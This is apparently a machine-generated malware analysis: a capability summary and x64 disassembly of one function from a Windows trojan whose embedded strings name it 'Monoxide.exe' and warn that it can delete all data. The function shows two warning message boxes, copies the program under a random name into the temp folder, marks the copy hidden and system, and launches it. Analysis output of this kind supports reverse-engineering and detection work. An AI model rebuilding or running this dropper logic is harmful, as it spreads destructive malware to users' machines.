Function at 0x1400013b0
Capabilities:
Copy file
Create process on windows
Delete file
Encode data using xor
Get common file path
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x440]
sub rsp, 0x540
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x430], rax
xor edx, edx
lea rcx, [rbp + 0x220]
mov r8d, 0x208
call fcn.14000b680
xor edx, edx
lea rcx, [rbp + 0x10]
mov r8d, 0x208
call fcn.14000b680
xor ebx, ebx
lea rcx, [rsp + 0x78]
xor edx, edx
mov dword [rsp + 0x70], ebx
lea r8d, [rbx + 0x60]
call fcn.14000b680
mov r8d, 0x104
lea rdx, [rbp + 0x220]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rax, [rbp + 0x10]
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], bx
jne 0x140001440
mov qword [rsp + 0x550], rsi
lea rdx, [rbp + 0x10]
mov qword [rsp + 0x558], rdi
lea rcx, [rbp + 0x220]
mov qword [rsp + 0x560], r14
call fcn.14000be18
test eax, eax
je 0x1400015a2
mov esi, 0x5200
mov r14d, 0x4e00
nop word [rax + rax]
mov ecx, dword [0x140030bb0]
xor eax, eax
mov qword [rbp - 0x20], rax
mov r9, rbx
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov word [rbp], ax
nop
mov eax, ecx
shl eax, 0xd
xor ecx, eax
mov eax, ecx
shr eax, 0x11
xor ecx, eax
mov eax, ecx
shl eax, 5
xor ecx, eax
mov eax, 0xc7ce0c7d
mul ecx
movzx eax, si
shr edx, 0xe
movzx r8d, dx
imul r8d, eax
movzx eax, cx
sub ax, r8w
add ax, r14w
mov word [rbp + r9*2 - 0x20], ax
inc r9
cmp r9, 0x10
jl 0x1400014b0
mov dword [0x140030bb0], ecx
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x10]
mov edx, 0x104
call fcn.14000bd98
lea r8, str..txt
mov edx, 0x104
lea rcx, [rbp + 0x10]
call fcn.14000bd98
mov qword [rsp + 0x30], rbx
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x28], 6
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001778
xor edx, edx
lea rcx, [rbp + 0x10]
mov r8d, 0x104
call fcn.14000b680
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
or r8, rdi
lea rax, [rbp + 0x10]
nop
inc r8
cmp word [rax + r8*2], bx
jne 0x140001580
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x220]
call fcn.14000be18
test eax, eax
jne 0x140001490
mov edx, 0x2e
lea rcx, [rbp + 0x220]
call fcn.14000b370
lea r8, str..txt
mov edx, 0x104
lea rcx, [rbp + 0x220]
mov word [rax], bx
call fcn.14000bd98
mov qword [rsp + 0x30], rbx
lea rcx, [rbp + 0x220]
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 4
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000163d
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], rbx
lea rcx, [rbp + 0x220]
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 4
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001600
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], rbx
mov r8d, 0x104
lea rdx, [rbp + 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000168c
nop
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], rbx
mov r8d, 0x104
lea rdx, [rbp + 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001660
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400016cc
nop word [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1400016b0
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400016f9
nop word [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1400016e0
mov r9d, 0x34
lea r8, str.Malware_alert___Monoxide.exe
lea rdx, str.WARNING__n_nYou_have_ran_a_Trojan_known_as_Monoxide.exe_that_has_full_capacity_to_delete_all_of_your_data_and_your_operating_system._n_nBy_continuing__you_keep_in_mind_that_the_creator_will_not_be_responsible_for_any_damage_caused_by_this_trojan_and_it_is_highly_recommended_that_you_run_this_in_a_testing_virtual_machine_where_a_snapshot_has_been_made_before_execution_for_the_sake_of_entertainment_and_analysis._n_nAre_you_sure_you_want_to_run_this_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x1400018e8
lea r9d, [rax + 0x2e]
xor ecx, ecx
lea r8, str.Malware_alert___Monoxide.exe
lea rdx, str.FINAL_WARNING____n_nThis_Trojan_has_a_lot_of_destructive_potential._You_will_lose_all_of_your_data_if_you_continue__and_the_creator_will_not_be_responsible_for_any_of_the_damage_caused._This_is_not_meant_to_be_malicious_but_simply_for_entertainment_and_educational_purposes._n_nAre_you_sure_you_want_to_continue__This_is_your_final_chance_to_stop_this_program_from_execution.
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
sete bl
mov eax, ebx
mov r14, qword [rsp + 0x560]
mov rdi, qword [rsp + 0x558]
mov rsi, qword [rsp + 0x550]
mov rcx, qword [rbp + 0x430]
xor rcx, rsp
call fcn.14000a700
mov rbx, qword [rsp + 0x568]
add rsp, 0x540
pop rbp
ret
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], rbx
mov r8d, 0x104
lea rdx, [rbp + 0x220]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400017cf
nop dword [rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], rbx
mov r8d, 0x104
lea rdx, [rbp + 0x220]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400017a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, [rbp - 0x20]
mov edx, 0x104
lea rcx, [rbp + 0x10]
call fcn.14000bd98
lea r8, str..exe
mov edx, 0x104
lea rcx, [rbp + 0x10]
call fcn.14000bd98
xor r8d, r8d
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140001853
nop word [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140001830
mov edx, 6
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x14000188e
nop word [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 6
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x140001870
lea rax, [rsp + 0x50]
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rbx
xor edx, edx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001740